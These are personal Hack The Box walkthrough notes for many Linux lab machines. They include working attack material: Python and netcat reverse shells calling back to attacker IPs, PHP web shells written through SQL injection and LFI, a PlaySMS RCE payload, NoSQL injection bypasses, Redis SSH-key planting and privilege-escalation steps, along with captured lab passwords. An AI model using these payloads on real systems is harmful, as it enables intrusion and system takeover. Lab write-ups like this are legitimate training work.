HTB : Linux

Sense

Enumeration , Open-source exploit

1. Directory enumeration leads to credentials , through which able to login to website

2. Open exploit leads to command-injection , giving direct access to root

Nibbles

Initial ⇒ view-page-source , Directory Enumeration , Open-exploit Privesc ⇒ sudo -l , ------------------------------

1. nmap gives 22,80 . On port 80 static html page , however ⇒ view-page-source leads to interesting comment which disclose directory nibbleblog

2. Gobuster on http://$ip/nibbleblog gives :

   1. admin.php : login page

   2. README : version disclose nibbleblog v4.0.3

   3. /content : /content/private/users.xml ⇒ leaks username admin

3. Open-exploit available (Code Execution) ⇒ https://github.com/dix0nym/CVE-2015-6967

4. Inside shell doing sudo -l gives /home/nibbler/personal/stuff/monitor.sh

Node

------------------

1. Viewing website (3000) gives some usernames and checking app.js using Dev-Tools leaks the usernames & hashes.

2. Using these creds on the same website leads to get authenticate as user admin account from where i can download the backup file.

3. Decoding file.backup with base64 ⇒ file.zip , unzipping it gives hash ⇒ cracking the hash gives ⇒ SSH creds for user mark

4. ps -auxx gives 2 file running as user tom

Solidstate

Initial ⇒ rsip , pop3 Privesc ⇒ pspy32 , script-modification

1. Exploiting rsip (4555) with default credentials leads to user enumeration and password change.

2. Using those username with changed password on pop3 (110) leaks SSH creds in user mindy mail.

3. Getting shell as mindy & running pspy32 gives a script /opt/tmp.py running as root

4. Modifing the script and putting reverse shell in it gives us the shell as root.

Valentine

Initial ⇒ Director Enumeration , Hexdecimal dump (xxd) , SSH passphrase crack Privesc way 1 ⇒ history + tmux || Privesc way 2 ⇒ dirtycow

1. Nmap gives 22,80,443 & --script vul states 443 is vulnerable to heartbleed vuln.

2. Interesting Dir-enum findings : /dev/hype_key which containds hexdecimal

3. xxd -r -p gives ssh_private_key & for passphrase we can decrypt it via openssl

4. For privesc we have 2 paths :

   1. tmux

   2. dirtycow

5. ps -pf gives tmux is running & history commands gives tmux socket path

   1. tmux -S /.dev/dev_sess ⇒ running this gives root

6. uname -a gives version 2012 , searchsploit gives dirtycow exploit for this version

   1. gcc -pthread dc.c -o c -lcrypt && chmod +x c && ./c ⇒ gives a username random

   2. su random⇒ gives root

Poison

Initial ⇒ Enumeration , Log-poisoning || phpinfolfi.py || SSH Pirvesc ⇒ Process check , internal network scan , port forwarding

1. Nmap gives 22,80 . On port 80 website is running which allows to read local php files , which is also vulnerable to LFI

   1. pwdbackup.txt ⇒ gives base64 encoded pass

   2. /etc/passwd ⇒ gives username charix

   3. phpinfo ⇒ file_upload is on (but not able to find neither functionality nor upload dir)

2. 1st way is doing ssh as charrix , password = Charix!2#4%6&8(0

3. 2nd way of exploitation is log poisoning

4. 3rd way is using phpinfolfi exploit {payloads all the things}

   1. exploit :- https://www.insomniasec.com/downloads/publications/phpinfolfi.py

5. ps -auxw gives vnc is running & doing netstat -anlp gives port 5801 , 5901

6. After SSH tunneling ,accessing the port 5901 give me shell session with root user

Sunday

Initial ⇒ Finger (79) brute force Privesc ⇒ Enumeration , sudo -l , wget , overwriting file/binary

1. Nmap gives the following result :

   1. 79 : finger ⇒ nmap result discloses the username sunny & sammy

   2. 111 : rpcbind

   3. 22022 : SSH

2. Brute forcing fingers users using exploit :-

   http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz

3. Same as nmap , interesting usernames found : sammy & sunny guessing password sunday and doing SSH gives the shell

4. in root location (/) there is unusuall directory /backup which contaians shadow.backup file which basically backup file for /etc/shadow , reading it gives hash for both user sammy & sunny

5. Doing sudo -l for both user gives :

   1. sammy : wget ⇒ we can read files , upload file

   2. sunny : /root/troll ⇒ we can run it as sudo (nothing extra than this)

6. Combining both we can overwrite /root/troll using wget with our python reverse shell

   1. sudo wget http://10.10.14.5/shell.py -O /root/troll

Tartarsauce

Initial ⇒ Recon , Dirsearch , wpscan , wordpress plugins manuall check Privesc ⇒ ----------------------

1. Only port80 is open ⇒ static website , dir-enum gives /webservices , still nothing useful

2. Dir-enum inside /webservices , gives /wp ⇒ site is using wordpress

3. wpscan enumeration found nothing vulnerable , 3 plugins found :

[+] Name: akismet - v4.0.3 

[+] Name: brute-force-login-protection - v1.5.3

[+] Name: gwolle-gb - v2.3.10
Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt

1. Manually checking the README of the plugins gives something interesting

== Changelog ==

= 2.3.10 =
* 2018-2-12
* Changed version from 1.5.3 to 2.3.10 to trick wpscan ;D

1. So basically , the real version is 1.5.3 , some recon gives on of the plugin gwolle-db is vulnerable on this version

2. RFI in gwolle-gb v1.5.3 by visiting the link : http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://ip/path

3. start python server , put a php reverse shell , rename it to wp-load.php , curl it ⇒ shell

Irked

Initial ⇒ IRC (6697) , open-exploit Privesc level 1 ⇒ Enumeration + steg pass cracking Privesc level 2 ⇒ script modification

1. 80 ⇒ an emoji is on the website , nothing else

2. 6697 ⇒ irc running , googling it gives an open-exploit , which gives shell as user ircd exploit

3. In /home/djmardov/Documents found .backup file , which has steg password

4. wget image , crack it using steg pass we get a new pass which work on both ssh & su

5. Got shell as djmardov , run linpeas.sh gives an unusall binary /usr/bin/viewuser , executing it gives this error :

sh: 1: /tmp/listusers: not found

1. create same name executable , insert rev shell , run viewuser ⇒ shell as root

Friendzone

Initial ⇒ Recon , combining file-upload via SMB & execution LFI Privesc level 1 ⇒ recon , mysql creds Privesc level 2 ⇒ Python Library Hijacking , script modification

1. Nmap & recon are as follows :

   1. 139/445 ⇒ SMB recon , with anonymous login gives

      1. //10.10.10.123/Development ⇒ read & write access

      2. //10.10.10.123/general⇒ creds.txt

   2. 80 ⇒ disclose domain name friendzone.red

   3. 53 ⇒ DNS recon gives some subdomain name , useful : administrator1.friendzone.red\

   4. administrator1.friendzone.red ⇒ Login page (creds form smb works here)

2. On administrator1.friendzone.red gives 2 parameter image_id & timestamp

3. timestamp is vulnerable to LFi , put php rev-shell in ../../../etc/development ,using smb and accessing it gives shell as www-data

4. In /var/www/mysql_data.conf , db_user & db_pass available which work for ssh & su

5. After getting shell as user friend , running pspy shows python script sunning as root in /opt/server_admin/reporter.py , on some line there is Import os

6. in /usr/lib/python2.7 there is os.py which is writable , Insert rev shell in os.py , start listener , got shell as root

Swagshop

Networked

Initial ⇒ File upload with double extension & exiftool to manipulate magic-bytes Privesc level 1 ⇒ Recon in /home dir , cron files , Input manipulation Privesc level 2 ⇒ sudo -l , Input manipulation in shell script

Recon & Enumeration

port scan

21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2
80/tcp  open  http        Apache httpd 2.4.29
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X
443/tcp open  ssl/http    Apache httpd 2.4.29 <commonName=friendzone.red>
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu

directory scan

/wordpress
/server-status

http://friendzone.red

Just a basic web page , nothing here But there is a " Email us at: [e-mail] " , we can use "riendzoneportal.red" for further enumeration

https://friendzone.red

just a gif , nothing informational

/wordpress

Forbidden <not-useful>

Samba Enumeration

I tried listing files & anonymous login ....... and succeded , their is file present in "general" directory which contains "creds.txt" , i got credentials for admin user i tired them in ssh , ftp .... and failed Lets enumerate samba more

nmap --script smb-enum-shares.nse -p 445 10.10.10.123

and after the recon , i get to know the path of all directories and filles in samba , i will focus on those directires which are benificial for me

\\10.10.10.123\Development:
Path: C:\etc\Development

\\10.10.10.123\general:
Path: C:\etc\general

DNS Zone Transfer

Listing all domains for both "friendzone.red" & "friendzoneportal.red" and then add all the domains in /etc/hosts file

host -l friendzone.red 10.10.10.123
&
host -l friendzoneportal.red 10.10.10.123

At first i opened all domains with http ....but they return the same page which i found on port 80 then i open all of them with https:// , and i get alot of domains which are working but their are 2 domians through which i used solved the box https://administrator1.friendzone.red/ >> login page https://uploads.friendzone.red/ >> has upload functionality

https://administrator1.friendzone.red/

i first tried incorrect creds and got response "wrong" then i used creds , found in samba and got login and the page says "login success please visit dashboard.php"

/dashboard.php

the page says visit "image_id=a.jpg&pagename=timestamp" , and in response i get a picture and timestamp number , i think its vulnerable to LFI

https://uploads.friendzone.red/

I upload a php shell on this , and its succesfully uploaded , time for LFI , i already have 2 parameters :-

LFI

/dashboard.php?image_id=a.jpg&pagename=timestamp

LFI in image_id

i changed the value to a.jpg => shell.php but no reverse shell then i tried again n agian, but didn't get anything ..... thats weird

directory scan

/login.php
/dashboard.php
/images
timestamp.php

/images their only 2 images here , a.jpg and b.jpg it means my shell was not uploaded here , maybe their is any other directory where my shell is uploaded

LFI in pagename

then only option left is this , lets change the value with the directories and file name found in scan timestamp > response shows the timestamp number login > response shows "wrong" i guess , its reflecting the content of the page-name inserted here , i think its vulnerable to LFI to get sure i am going to request the "php source code file" payload :-

pagename=php://filter/convert.base64-encode/resource=dashboard

i got dashboard source-code , we can also request php source-code for
login
upload
timestamp

shell as www-data

After reading the source-code of dashboard , i get to know that the parameter "pagename" is taking the value and adding a ".php" after the value and then shows the content of that particular file I tried pagename=../../../../etc/passwd and fail , =/etc/passwd still fail , i think its bcoz ist adding a ".php" extension in the end of file But after samba enumeration , we know the "Development" & "general" directroy are present in "/etc/" directory Lets make a echo.php file and put it into one of the smb-directory and then try to read it Unfortunately we don't have write permission in "general" , only option left is "Development"

command >>
smbclient -N //10.10.10.123/Development -c 'put echo.php'

In URL >>
pagename=../../../../../../etc/Development/echo
or
pagename=/etc/Development/echo

NOTE :- i did not add echo.php in the payload , as i alerady know that the script do it itself Both payloads are working fine , time to upload a reverse shell and BOOM.......we got the shell

privesc www-data => friends

find a mysql config file in /var/www directory , inside the i got the credentials for user "friend"

db_user=friend

db_pass=Agpyu12!0.213$

we can do both ssh as well as switch user to get a shell as "friend"

privesc friend => root

pspy

after running the script , i found a cronjob which is running a python script :- /opt/server_admin/reporter.py Their is nothing much in the script but it was importing an os library in the script then i start searching "os.py" , in order to perform python library hijacking i found os.py and it is also writable ....great , lets insert reverse shell in bottom of the script- "os.py" NOTE :- I removed the "os" keyword from reverse shell as we already injecting the payload in os.py Orignal payload :-

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()

Modified payload :-

import pty
import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.8",7777))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/bash")
s.close()

after injecting i waited for few minutes to let the cronjon do it work , and after some time BOOM....... we got the shell as root.

Jarvis

Initial 1 ⇒ SQL-injection , Extracting PHPmyadmin creds , php shell upload Initial 2 ⇒ Direct web-shell upload using SQL-injection Privesc level 1 ⇒ sudo -l , command injection in python script Privesc level 2 ⇒ linenum.sh , SUID , /bin/systemctl , fake service exploitation

nmap

port open :- 22 , 80 , 64999

gobuster

directories found :-

server-status/ , phpmyadmin/ , room.php

website (80)

Their is a website running on , which has some functionality of check room (price , description , room name , rating....etc) ans it seems exploitable through sql injection lets try.... , but before that

/phpmyadmin/

Their is a phpmyadmin login page is running on the website. although i already tried the default credentials but didnt get anything , wen need credentials for that

website (64999)

Nothing over here , just some text "you have been blocked for xxx seconds , don't be bad"

shell as www-data

way 1 - shell upload via phpmyadmin

we are logged in. After looking the application i get to know the application version which is :- "phpmyadmin 4.8.0" lets look for any public exploit availble for this :- " searchsploit phpmyadmin | grep '4.8' " & we got 2 exploits for that According to the payload we are able to do LFI and also LFI to RCE for that we have to first run sql query and the we have to visit the url including the session id 1st lets copy session id => "phpmyadmin" cookie 2nd run sql query

SELECT '<?php system($_GET["cmd"]);?>'

3rd visit the link including the session id and command in "cmd" parameter

http://10.10.10.143/phpmyadmin/index.php?cmd=id&target=db_sql.php%3f/../../../../../var/lib/php/sessions/sess_e3qctegac4saf72rocbl1541j26u7mqm

4th inject reverse shell in "cmd" parameter

way 2 - Direct shell upload

As we know we can write a file using sql injection & the webpage directory is /var/www/html , lets try uploading reverse shell. payload :-

union select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6,7 into OUTFILE '/var/www/html/rev.php'

lets visit the page try the command injection http://10.10.10.143/rev.php?cmd=whoami, it works lets add reverse shell command

privesc www-data => pepper

sudo -l

i got a file "/var/www/Admin-utilities/simpler.py" which i can run with sudo (pepper) privileges , first lets read the "simpler.py" basically the script is used to -h help -l list attackers ip address -s chack attack status -p ping an ip address here in "-p" the exec() function is been called , which executes the ping command , we can use command injection in this but their list of forbidden charecters :- ` , - , | , || , ~ , & , && , ; Note :- we can still run $(command) to do a command injection in script

sudo -u pepper /var/www/Admin-utilities/simpler.py -p

xxx--script--xxx
xxx
xxxx
xxxxx
xxxx
xxx
Enter an ip: $(/bin/bash)

i got the shell as pepper , but its not fully functional as the commads are running , but result is getting on screen To fix this , i first create a shell script (shell.sh) in /tmp directory and put a reverse shell in that and then do the command injection in "simpler.py" in order to execute my reverse shell script

sudo -u pepper /var/www/Admin-utilities/simpler.py -p

xxx--script--xxx
xxx
xxxx
xxxxx
xxxx
xxx
Enter an ip: $(/tmp/shell.sh)

And BOOM we got the shell as pepper

privesc pepper => root

run linenum.sh

after running the script , we get a binary which both pepper and root can run => "/bin/systemctl" systemctl is is a systemd utility which is responsible for Controlling the systemd system and service manager. That is, it creates and manages services Lets create a malicious service and run it using sysemctl and BOOM.......we got the shell as root.

Mirai

-----------------

Popcorn

Initial ⇒ PHPinfo , File-Upload Privesc ⇒ Kernel Exploit , 1 ⇒ Full-Nelson.c || 2 ⇒ DIrty-Cow

1. Website and SSH is open , directory enum gives 2 interesting dirs :- /test & /torrent

   1. /test ⇒ Shows phpinfo page ( file upload is enabled)

   2. /torrent ⇒ Login & Sign-Up page is running

2. After creating user and sign-in i got a upload form , which accepts only torrent file nothing else. (php webshell not allowed)

3. After uploading .torrent file , we get another upload functionality for screenshot

   1. uploading php-webshell gives success & response disclose upload path /torrent/upload/

   2. Navigating to path , we see our webshell , triggring it gives reverse shell

4. uname -a / uname -r , gives the vulnerable linux version 2.6.37, upload and execute any exploit gives us root.

   1. Full-Nelson.c ⇒ https://www.exploit-db.com/exploits/15704

   2. DirtyCow

Haircut

Initial ⇒ RFI (curl) ⇒ PHP shell ⇒ RCE Privesc ⇒ Find command , Screen-4.5.0 , pwnkit

1. On website , able to perform RFI on Local/Remote Host (as curl running in background).

2. Used RFI to upload php webshell , which can be triggered from site/uploads.

3. Got shell as www-data , for privesc used pwnkit leads to root

4. Alternate privesc ⇒ screen-4.5.0

Blocky

Initial ⇒ wordpress scan , directory enumeration Privesc ⇒ sudo -l , sudo su -

Recon & Enum

port scan

PORT      STATE  SERVICE
21/tcp    open   ftp
22/tcp    open   ssh
80/tcp    open   http
8192/tcp  closed sophos
25565/tcp open   minecraft

directory scan

/.php                 (Status: 403) [Size: 289]
/.html                (Status: 403) [Size: 290]
/index.php            (Status: 301) [Size: 0] [--> http://blocky.htb/]
/wiki                 (Status: 301) [Size: 307] [--> http://blocky.htb/wiki/]
/wp-content           (Status: 301) [Size: 313] [--> http://blocky.htb/wp-content/]
/wp-login.php         (Status: 200) [Size: 2397]
/plugins              (Status: 301) [Size: 310] [--> http://blocky.htb/plugins/]
/license.txt          (Status: 200) [Size: 19935]
/wp-includes          (Status: 301) [Size: 314] [--> http://blocky.htb/wp-includes/]
/readme.html          (Status: 200) [Size: 7413]
/javascript           (Status: 301) [Size: 313] [--> http://blocky.htb/javascript/]
/wp-trackback.php     (Status: 200) [Size: 135]
/wp-admin             (Status: 301) [Size: 311] [--> http://blocky.htb/wp-admin/]
/phpmyadmin           (Status: 301) [Size: 313] [--> http://blocky.htb/phpmyadmin/]
/xmlrpc.php           (Status: 405) [Size: 42]
/.php                 (Status: 403) [Size: 289]
/.html                (Status: 403) [Size: 290]
/wp-signup.php        (Status: 302) [Size: 0] [--> http://blocky.htb/wp-login.php?action=register]
/server-status        (Status: 403) [Size: 298]

wordpress scan

nothing intresting over here

website

http://blocky.htb/index.php/2017/07/02/welcome-to-blockycraft/

their is nothing much on the website , but if you click on the post (only post available on the web page) you found username "notch"

http://blocky.htb/plugins/files/

i found 2 jar files over here , then i used jd-gui to discover the content

blockycore.jar

i found root password in this file

shell as notch

now we have 2 username :- notch & root and 1 password :- 8YsqfCTnvxAUeduzjNSXe22 i tried notch with password and it worked , i got the shell

privesc notch => root

sudo -l

>> i can run all commands as user

sudo /bin/bash

>> i got shell as root

Frolic

Initial ⇒ Enumeration , Encrypt/Decrypt , open-source exploit RCE in playsms Privesc ⇒ Buffer overflow x-x-x-x SKIPPING x-x-x-x

recon & Enum

port scan

PORT     STATE SERVICE
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1880/tcp open  vsat-control
9999/tcp open  abyss

http page on port 1880 & 9999

smb enumeration

nothing intresting over here

directory scan

http://10.10.10.111:1880

http://forlic.htb:1880/
http://forlic.htb:1880/icons
http://forlic.htb:1880/projects
http://forlic.htb:1880/settings
http://forlic.htb:1880/vendor
http://forlic.htb:1880/red
http://forlic.htb:1880/red/images
http://forlic.htb:1880/red/about
http://forlic.htb:1880/vendor/jquery
http://forlic.htb:1880/Icons
http://forlic.htb:1880/vendor/jquery/css
http://forlic.htb:1880/Projects
http://forlic.htb:1880/Settings
http://forlic.htb:1880/vendor/ace
http://forlic.htb:1880/vendor/ace/snippets
http://forlic.htb:1880/ICONS
http://forlic.htb:1880/vendor/ace/LICENSE
http://forlic.htb:1880/nodes

http://10.10.10.111:9999

http://10.10.10.111:9999/
http://10.10.10.111:9999/admin
http://10.10.10.111:9999/test
http://10.10.10.111:9999/backup
http://10.10.10.111:9999/.html
http://10.10.10.111:9999/admin/js
http://10.10.10.111:9999/admin/css
http://10.10.10.111:9999/dev
http://10.10.10.111:9999/backup/user.txt
http://10.10.10.111:9999/backup/password.txt
http://10.10.10.111:9999/dev/test
http://10.10.10.111:9999/dev/backup
http://10.10.10.111:9999/admin/.html
http://10.10.10.111:9999/admin/index.html
http://10.10.10.111:9999/dev/.html
http://10.10.10.111:9999/test/index.php
http://10.10.10.111:9999/dev/backup/index.php
http://10.10.10.111:9999/dev
http://10.10.10.111:9999/backup/password.txt
http://10.10.10.111:9999/backup/user.txt
http://10.10.10.111:9999/dev/test
http://10.10.10.111:9999/dev/backup
http://10.10.10.111:9999/admin/js/login.js
http://10.10.10.111:9999/backup/index.php
http://10.10.10.111:9999/admin/.html
http://10.10.10.111:9999/admin/index.html
http://10.10.10.111:9999/loop
http://10.10.10.111:9999/backup/loop
http://10.10.10.111:9999/loop/loop
http://10.10.10.111:9999/backup/loop/loop
http://10.10.10.111:9999/backup/loop/loop/loop
http://10.10.10.111:9999/loop/loop/loop
http://10.10.10.111:9999/loop/loop/loop/loop

http://10.10.10.111:9999

ngnix server default page is running on and it also discloses the domain name :- http://forlic.htb

http://10.10.10.111:1880

Node-red login page is running on , i need creds for that

http://10.10.10.111:9999/test/

we got php-info , after checking a little i got this :- allow_url_include Off , this means LFI is not possibe

http://10.10.10.111:9999/backup/

i got 2 files & 1 directory user.txt = admin pass.txt = imnothuman loop = nill i tried these creds on node-red login page but it failed

http://10.10.10.111:9999/dev/backup/

/playsms

http://10.10.10.111:9999/admin/

another login page , but when i try to intercept request i got nothing , in sorce code i got a file :- login.js this file was also founded by feroxbuster & it contains creds for this page :- username = admin , password = superduperlooperpassword_lol

var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}

after successful login we got redirected to :- http://10.10.10.111:9999/admin/success.html and this page contains :- ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... ..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... ..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... ..... ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! !.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. ..... ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... ..... ..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... ..!.! !!!!! !.?.

after googling a little , i get to know its an Ook language when i decoded it i get this

Nothing here check /asdiSIAJJ0QWE9JAS

http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/

i got this :- UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA

i decoded it with base64 and save it as new file and then run file command on this file and i get to know that its a zip file so i saved it as file.zip and i tried to unzip it , but it needs a password , then i run fcrackzip on it and got the password = password after unzipping it i got a file index.php which contains hex :- 4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a after doing hex to text i got this :- KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg== another base64 decode required :- +++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+ ++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->--- <]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]> ++..< another Ook decode required :-

idkwhatispass

http://10.10.10.111:9999/playsms/

Finally we got the password , but its not working for Node-Red login page , but it did work for playsms page. we got in after doing searchsploit i found a exploit which does work on playsms to get RCE

PlaySMS 1.4 - 'import.php' Remote Code Execution            | php/webapps/42044.txt

searchsploit -m php/webapps/42044.txt

shell as www-data

1. visit http://10.10.10.111:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import

2. create a csv file and add the payload in it

Name,Mobile,Email,Group code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,22	

1. upload it and intercept the request in burp & change the user-agent to command which i want to execute . for e.g. whoami

1. enter the reverse shell in user-agent

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 4242 >/tmp/f

and we get the shell as www-data

shell as root

it requires buffer overflow , so i skipped it

Postman

Initial ⇒ Redis , SSH-key upload Privesc ⇒ ----------

Recon & Enumeration

port scan

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt

directory scan

for http://10.10.10.160/

/images (Status: 301)
/upload (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)

website (80)

Nothing intresting over here , just a static web page with no functionality

https://10.10.10.160:10000

Their is login page powered by "WEBMIN" , by default webmin doesn't have any default credentials i also tried sql & no sql injection ...... no benifit , we will look back here after a while

/upload

just bunch of images , almost no one is opening or have something intresting ....i moved on

redis 6379

we can connect with redis just using net-cat , and we can execute commands

nc -nvv 10.10.10.160 6379

shell as redis

i created a ssh pub-pri key pair and then i used the redis server to import and save the key i authorized keys , after that just do the ssh in system as redis user and , we got the shell Importing ssh key :-

cat new_key.txt | redis-cli -h 10.85.0.52 -x set new_key.txt

Saving ssh key in authorized keys :-

redis-cli -h 10.10.10.160

10.10.10.160:6379> config set dir /var/lib/redis/.ssh
OK
10.10.10.160:6379> config set dbfilename "authorized_keys"
OK
10.10.10.160:6379> save
OK

privesc redis => Matt

linpeas.sh

I found a SSH RSA private key for Matt user , so i first used it for direct ssh login......didn't work next thing , i extracted the key contents (hash) by using ssh2john , we can also extract that online after extracting the hash from key , we need to crack it , for this i used john

python ssh2john.py matt_ssh.key > hash.txt

john --wordlist=~/chaos/rockyou.txt hash.txt
>>
computer2008

i used the key and password and ........i still got fail , so i tried "su - Matt" in the shell i already have and i succeeded ......got the shell as Matt

privesc Matt => root

These credentials also work for webpage we found earlier , we kind of need metasploit payload to do that , so i just skip it

Mango

Initial ⇒ No-SQL-injection , Enumeratin database & finding credentials Privesc ⇒ linpeas.sh , Binary exploitation (jjs)

port scan

port 22 , 80 , 443 are open script scan :- give us a name of the domain running on port 80 domain name :- staging-order.mango.htb

website (80)

the page returns 403 <forbidden> on ip address , i think we have to add the host in etc/host before we access this page. yes ..... now its working with admin pannel on it

directory scan

i done 2 directory scan one for <http://staging-order.mango.htb> & other for <https://10.10.10.162>

http://staging-order.mango.htb

/home.php
/index.php
/vendor                            >> brute force again
/vendor/collection/installed.json

i found some php and json files in this directory and i find this particular json file useful

http://staging-order.mango.htb/vendor/composer/installed.json

After reading the file i get to know that , the application is using MongoDB on server side ......this gives a shot to test Nosql injection

https://10.10.10.162/

/index.php        >  home page
/analytics.php    >  i found nothing useful here

No-sql injection

shell as mango

i used payload to bypass the authentication , but their is nothing inside .......i need credentials, so as we dealing with nosql we can use some payload or script in orderto retrieve data i used script but here are also some manual payloads :-

username[$ne]=abc&password[$ne]=xyz&login=login    > to bypass authentication

username[$regex]=abc&password[$ne]=xyz&login=login    > brute-forcing username

username[$regex]=a    >    checking that particular alphabets "a" come in name or not

=a    >    checking alphabet existence
=^a   >    checking the first alphabet of username
=^a.* >    full-payload 

i got credentials , now lets try ssh i tried admin creds first but i fail , so i tried mango creds and BOOM......we are in

privesc mango => admin

and enter password we found using nosql injection

su - admin

privesc admin => root

linenum.sh

i found a binary name "jjs" in path "/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs" with both SUID lets do some search and i found something on GTFObins its a java binary which can be use for :- file read file write reverse shell and some more functionalities ...... i first tried reverse shell , but i get the shell with again admin user , but i need it as root user Next i tried file read , but it wouldn't work for me , now only option left for me is to a write a file so , i decided to write ssh key using jjs so i came back to my machine :-

ssh-keygen

i named the file "mango" and i got 1 private key "mango" & 1 public key "mango.pub" we use public key to write it in target machine and use private key to login, so i copied the "mango.pub" content and paste it inside jjs file-write payload & directory = /root/.ssh/authorized_keys login using private rsa key

ssh -i mango root@10.10.10.162

and BOOM...... we got the shell as roo

Traverexec

---

Openadmin

Initial ⇒ ----

Magic

